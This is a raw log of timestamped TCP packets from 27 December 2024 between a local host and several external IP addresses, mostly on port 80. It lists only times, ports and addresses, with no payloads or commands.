Dec 27, 2024 08:52:14.611604929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.612600088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.612648010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.612709045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.612746000 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.613790989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.613847017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.613909960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.613951921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.614928961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.614983082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.615041018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.615084887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.616143942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.616194963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.616228104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.616264105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.617280960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.617394924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.617482901 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.618469000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.618522882 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.618583918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.618634939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.619678974 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.619723082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.619726896 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.619766951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.620837927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.620891094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.620927095 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.620961905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.621979952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.622056961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.622090101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.622128010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.623126984 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.623214960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.623246908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.623286009 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.624309063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.624362946 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.624425888 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.624466896 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.625492096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.625541925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.625597000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.625636101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.626738071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.626797915 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.626827002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.626864910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.627851009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.627871037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.627903938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.627921104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.629004955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.629065990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.629134893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.629174948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.630198002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.630254030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.630357981 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.630400896 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.631373882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.631427050 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.631474018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.631511927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.632543087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.632620096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.632678986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.632719994 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.633706093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.633752108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.633759022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.633795977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.634890079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.634937048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.634994030 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.635035992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.636077881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.636131048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.636168003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.636210918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.637243986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.637290955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.637386084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.637427092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.638420105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.638464928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.638498068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.638544083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.639566898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.639611959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.639672041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.639718056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.640746117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.640794992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.640840054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.640886068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.641937017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.641987085 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.642026901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.642066956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.643100977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.643167019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.643196106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.643229961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.644246101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.644289017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.644347906 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.644392014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.645431042 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.645484924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.645550013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.645587921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.646595955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.646652937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.646701097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.646775961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.647790909 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.647845030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.647906065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.647943974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.648947954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.648999929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.649064064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.649106026 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.650130987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.650186062 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.650209904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.650249958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:17.063043118 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:17.063426018 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:17.182883978 CET	80	49944	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:17.182964087 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:17.183063030 CET	80	49965	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:17.183198929 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:17.184530020 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:17.304018021 CET	80	49965	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:18.612056017 CET	80	49965	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:18.612123966 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:18.616417885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:18.689167023 CET	49971	443	192.168.2.6	23.55.153.106
Dec 27, 2024 08:52:18.689233065 CET	443	49971	23.55.153.106	192.168.2.6
Dec 27, 2024 08:52:18.689337969 CET	49971	443	192.168.2.6	23.55.153.106
Dec 27, 2024 08:52:18.690601110 CET	49971	443	192.168.2.6	23.55.153.106
Dec 27, 2024 08:52:18.690623999 CET	443	49971	23.55.153.106	192.168.2.6
Dec 27, 2024 08:52:18.736078978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:18.737464905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:18.770443916 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:18.890144110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.068833113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.068881989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.068912983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.068938017 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.068939924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.068977118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.068983078 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069011927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069025993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069048882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069055080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069086075 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069122076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069132090 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069132090 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069156885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069164991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069194078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.069200039 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.069240093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.088392973 CET	49971	443	192.168.2.6	23.55.153.106
Dec 27, 2024 08:52:20.188754082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.188788891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.188818932 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.188842058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.260673046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.260721922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.260763884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.260816097 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.264794111 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.264859915 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.264873028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.264918089 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.273278952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.273336887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.273344994 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.273381948 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.281747103 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.281805992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.281841040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.281864882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.290445089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.290524006 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.290802002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.290852070 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.298664093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.298738956 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.298789978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.299410105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.307163954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.307234049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.307241917 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.307276011 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.315633059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.315721989 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.315742970 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.315788984 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.324522972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.324541092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.324604988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.332408905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.332482100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.332504034 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.332530975 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.340008020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.340059042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.340101004 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.340122938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.452719927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.452800989 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.452811003 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.452857018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.455128908 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.455228090 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.455257893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.455280066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.460114002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.460175991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.461977005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.462028027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.462101936 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.462148905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.467026949 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.467094898 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.467104912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.467152119 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.472053051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.472121000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.472126961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.472178936 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.476913929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.476952076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.476982117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.477008104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.481672049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.481734037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.481807947 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.481853962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.486474037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.486543894 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.486604929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.486669064 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.491269112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.491327047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.491373062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.491435051 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.496052980 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.496098995 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.496155977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.496198893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.500874043 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.500940084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.500976086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.501051903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.505690098 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.505736113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.505779982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.505824089 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.510507107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.510570049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.510606050 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.510647058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.515372992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.515435934 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.515490055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.515537977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.520157099 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.520210981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.520265102 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.520313978 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.524985075 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.525049925 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.525115013 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.525172949 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.529793978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.529845953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.529931068 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.529978991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.534635067 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.534713984 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.534733057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.534787893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.539412975 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.539557934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.539561033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.539611101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.544204950 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.544291973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.644556999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.644598961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.644639969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.644670963 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.646595001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.646653891 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.646698952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.646789074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.650587082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.650659084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.652067900 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.652132034 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.652199984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.652323961 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.656173944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.656248093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.656299114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.656347990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.660104036 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.660175085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.660234928 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.660284042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.663922071 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.663979053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.664005995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.664055109 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.667593002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.667654037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.667717934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.667762041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.671190023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.671260118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.671310902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.671375036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.674737930 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.674793959 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.674854040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.674901962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.678304911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.678374052 CET	49970	80	192.168.2.6	185.215.113.16
